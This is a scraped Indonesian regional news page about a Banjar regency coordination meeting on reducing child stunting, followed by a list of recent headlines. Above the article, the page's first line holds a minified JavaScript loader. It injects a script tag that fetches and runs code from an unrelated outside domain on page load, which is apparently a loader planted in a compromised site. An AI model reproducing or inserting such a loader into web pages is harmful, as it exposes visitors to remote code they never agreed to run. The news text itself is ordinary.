(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Habib Idrus Buka Rakor TPPS Kabupaten Banjar


KANALKALIMANTAN.COM, BANJARBARU – Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten Banjar melalui Dinas Sosial P3AP2KB gelar di Hotel Grand Qin, Banjarbaru, Jumat (13/12/2024) pagi.

Wakil Bupati Banjar Habib Idrus Al Habsyi selaku Ketua TPPS Kabupaten Banjar yang membuka rakor mengatakan, pertemuan bertujuan untuk melakukan evaluasi, perencanaan, pembinaan, konsultasi, koordinasi serta pembahasan teknis program percepatan penurunan stunting pada tiap SKPD.

“Agenda utama rakor ini penyusunan laporan TPPS semester 2 tahun 2024 sebagai langkah penting dalam mengukur efektivitas dan keberhasilan program percepatan penurunan stunting di Indonesia pada umumnya dan di Kabupaten Banjar khususnya,” kata Habib Idrus.

Baca juga: Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

Dia menjelaskan, laporan tersebut menyajikan hasil pemantauan dan hasil evaluasi program yang mencakup capaian, kendala yang dihadapi dan rekomendasi untuk perbaikan ke depan.

Proses penyusunan melibatkan kolaborasi antar lembaga yang memastikan bahwa seluruh pemangku kepentingan memberikan kontribusi yang berarti.

Dia meminta tiap SKPD dalam TPPS memberikan data yang akurat dan lengkap mengenai gambaran pelaksanaan percepatan penurunan stunting selama 2024.

“Laporan yang telah tersusun agar dapat dilakukan analisis terhadap capaian yang telah didapat serta dianalisis faktor penghambat apabila ada indikator yang tidak tercapai.

Hasil dari analisis tersebut digunakan sebagai bahan evaluasi dan perbaikan dalam penyelenggaraan program percepatan penurunan stunting periode berikutnya,” jelas dia.

Baca juga: Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik


Kepala Bidang KB Dinsos P3AP2KB Kabupaten Banjar, Salinah, menambahkan salah satu amanat Peraturan Presiden No 72 tahun 2021 tentang percepatan penurunan stunting pasal 25 ayat 1, yaitu Bupati/Wali Kota menyampaikan laporan penyelenggaraan percepatan penurunan stunting kepada Gubernur 2 kali dalam 1 tahun atau sewaktu-waktu jika diperlukan.

Salinah berharap hasil dari rakor ini tersedianya data gambaran pelaksanaan dan capaian indikator.

“Data capaian yang belum terisi saat ini, agar dapat disepakati mengenai SKPD penanggung jawab indikator tersebut beserta batas maksimal pengisiannya,” tutup dia. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani

 


Muhammad Andi

Recent Posts

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

19 menit ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

2 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

5 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

6 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

6 jam ago

Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More

6 jam ago

This website uses cookies.